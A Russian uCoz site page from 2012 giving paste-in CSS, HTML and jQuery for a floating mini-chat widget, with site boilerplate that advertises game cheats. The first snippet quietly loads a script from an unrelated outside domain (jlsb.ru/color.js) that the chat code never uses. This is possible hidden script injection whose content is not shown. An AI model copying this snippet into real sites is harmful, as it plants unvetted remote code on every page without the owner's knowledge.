Форма входа
Меню сайта
Все для игр
Все для сайта
Программы
Мобильные и КПК
Игры
PhotoShop
08:19
Всплывающий мини-чат в углу сайта + красивый вид
Всплывающий мини-чат в углу сайта + красивый вид
Информация о новости:
Название: Всплывающий мини-чат в углу сайта + красивый вид.
Категория:
Прочее .
Добавил:
Aninew .
Дата добавления: 04.09.2012.
Комментарии: 0.
Рейтинг: 0.0.
Новость прочитали: 139.
Ключевые слова Всплывающий мини-чат в углу сайта + красивый вид - скачать БЕСПЛАТНО Всплывающий мини-чат в углу сайта + красивый вид, Скачать файлы Прочее,
На данной странице вы можете прочитать и поделиться с другом новостью - Всплывающий мини-чат в углу сайта + красивый вид БЕСПЛАТНО , также тут вы можете оставлять свои отзывы про данную новость.
Вот скрипт удобного мини-чата, который плавает в правом углу на всех страницах не мешая глазам, а если нужно зайти в чат и отписаться, то он открывается легким нажатием и закрывается так же.
Установка чата:
1) Активируем мини-чат (модуль)
2) В нижнею часть сайта, после футера добавляем:
Code
<style> .chat_box {display:none;position:fixed;bottom:15px;right:15px;border:1px solid #dddddd;background:#fbfbfb;padding:4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:2px 2px 3px #9b9b9b;-webkit-box-shadow:2px 2px 3px #9b9b9b;box-shadow:2px 2px 3px #9b9b9b;} .chat_box div.close {display:block;position:absolute;right:0;top:0;background:url('http://s019.radikal.ru/i632/1208/59/46619a1a2028.png') no-repeat;width:16px;height:16px;opacity:0.6;-moz-opacity:0.6;filter:alpha(opacity=60);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);} .chat_box div.close:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);} div.chat_button {display:block;width:75px;height:75px;background:url('http://s48.radikal.ru/i122/1208/c9/be5db128dc47.png') no-repeat;position:fixed;bottom:15px;right:15px;opacity:0.8;-moz-opacity:0.8;filter:alpha(opacity=80);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);} div.chat_button:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);} </style><script src="http://jlsb.ru/color.js" type="text/javascript"></script> <div class="chat_button" onclick="$('.chat_button').fadeOut('fast');$('.chat_box').slideToggle('slow');"></div> <div class="chat_box"><div class="close" onclick="$('.chat_box').slideToggle('fast');$('.chat_button').fadeIn('slow');"></div> <div id="chatBox">$CHAT_BOX$</div> <script type="text/javascript"> function reloadTimeC() { $('#chatBox').load('/ #chatBox',function(data){ $('#reloadSec').html('<span style="color:green;padding-top:4px;">Обновлено</span>'); setTimeout("$('#reloadSec').html('')",1000); }); }; setInterval(reloadTimeC,30000); </script> </div>
3) ПУ>Управление дизайном>Мини-чат>Вид Материалов
заменяем все на:
Code
<div style="text-align:left;background:#ffffff;border:1px solid #CCD3DA;padding:2px;"> <table width="100%" cellspacing="0" cellpadding="0"><tr><td align="left" valign="top"><div style="font:8pt"><a href="javascript:void('Apply to')" style="color:#000000;" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;">$NAME$</a></div></td> <td width="85%" align="right" valign="top"><a href="javascript://" style="font:8pt">$TIME$</a></td></tr></table> <div style="text-align:left;font-size:9pt;">$MESSAGE$</div></fieldset> </div><div style="margin-top: 4px;"></div>
4)ПУ>Управление дизайном>Мини-чат>Форма добавления сообщений
Заменяем все на:
Code
<table width="100%"> <tr> <td align="left" valign="top"> <textarea name="mcmessage" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();"></textarea> <div style="float:left;"><div id="chatb" href="$SMILES_URI$"><img src="http://s017.radikal.ru/i431/1208/48/02e8151d2431.gif"></div> <div id="chatb" href="$RELOAD_URI$"><img src="http://s017.radikal.ru/i404/1208/17/69fcd9b33efb.png"></div> <div id="chatb" href="$BBCODES_URI$"><img src="http://i081.radikal.ru/1208/dc/83989baa30fc.png"></div> <div id="chatb" href="$MSGCTRL_URI$"><img src="http://i068.radikal.ru/1208/d4/542d5289a6d2.png"></div></div><div id="reloadSec" style="float:right;"></div> $_SECURITY_CODE$ </td> <td width="10%" align="right" valign="top"> <div id="buttonsubmit" onclick="$('#mchatBtn').click();">ОК</div> </td> </tr> </table> <style> #mchatMsgF{padding:4px;margin-top:6px;border:1px solid #B5B8C8; background:#ffffff url(http://s011.radikal.ru/i316/1208/9b/e1c038bef0f7.gif) repeat-x 0 0;width:100%;height:42px;font-family:tahoma;font-size:12px;font-weight:bold;} #buttonsubmit{background:#6386d0;border:1px solid #3358a5;padding:13px;margin-top:6px;font-size:12px;color:#FFF;font-weight:bold;cursor:pointer;} #buttonsubmit:hover{background:#7e9fe4;border:1px solid #3358a5;padding:13px;margin-top:6px;font-size:12px;color:#FFF;font-weight:bold;cursor:pointer;text-decoration:underline;} #buttonsubmit:active{background:#4f72bd;border:1px solid #3358a5;padding:13px;margin-top:6px;font-size:12px;color:#FFF;font-weight:bold;cursor:pointer;text-decoration:underline;} #chatb{background:#FFF;border-left:1px solid #B5B8C8;border-right:1px solid #B5B8C8;border-bottom:1px solid #B5B8C8;padding:4px;font-size:12px;color:#FFF;font-weight:bold;cursor:pointer;text-decoration:underline;display:inline-block;} </style> <div style="display:none;"><input type="submit" style="width: 30px;" id="mchatBtn" class="mchat" value="OK"></div> <?if($FLD_SECURE$)?> <table border="0" cellpadding="1" cellspacing="1" width="100%"> <tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr> </table> <?endif?>
Готово) радуйтесь классным мини-чатом и его внешним видом, если Вам не нравится всплывающий мини-чат, то Вы можете установить себе только вид.
Понравилось? Поделись ссылкой с другом...
Категория: Прочее |
Просмотров: 139 |
Добавил: Aninew
| Рейтинг: 0.0 /0
скачать
www.Up-Royal.Do.Am - Королевство развлечений.Музыка онлайн,видео онлайн, мониторинг игровых серверов, ТОП сайтов, игры, все для PhotoShop,Все для сайтов uCoz, Dle,все для игр, все для Mobile И КПК,софт в огормном количестве! Создание и продвижение сайтов - новая кс 1.6 2011,Скачать Counter-Strike,Контер страйк бесплатно,Скачать пачти для CS 1.6 бесплатно,Скачать готовые ссервера для CS 1.6,готовые сервера бесплатно,Скачать плагины,моды,модели оружия,создать сервер,Всё для Ucoz,укоз,юкоз,скачать шаблоны для Ucoz,Скрипты для Ucoz бесплатно,скачать,читы для Counter-Strike,скачать wall Hack + AIM,скачать чит бесплтано для CS, AIM для CS, читы бесплатно, скачать читы для контер стайк, безопасность для компьютера, софт и различные программы, мультимедия, графика для сайтов, баннера, рейтинг, оптимизация для сайтов, продвижение, скачать фильмы, смотреть онлайн видео, смешные картинки,скачать Готовые сервера CS 1.6 бесплатно, скачать Модели Игроков CS 1.6 бесплатно, скачатьМодели Оружия CS 1.6
теги
Партнер №1
Баннеры
Статистика
Онлайн:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Зарег. на сайте:
Всего: 278 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0
Из них:
Обычных:
277 Г.Администраторов:
1 Администраторов:
Пиар менеджеров:
Г.Модераторов:
Модераторов:
0 Дизайнеров:
Журналистов:
Контролеров:
Файловиков:
Тимэйтов:
Друзья:
0 Проверенных:
0 Забаненых:
50 Из них:
Парней:
263 Девушек:
15
Счетчик материалов:
Новостей: 7956 Статей: 48 Файлов: 504 Форум: 225/360 Сайтов: 13 Картинок: 1 Комментариев: 35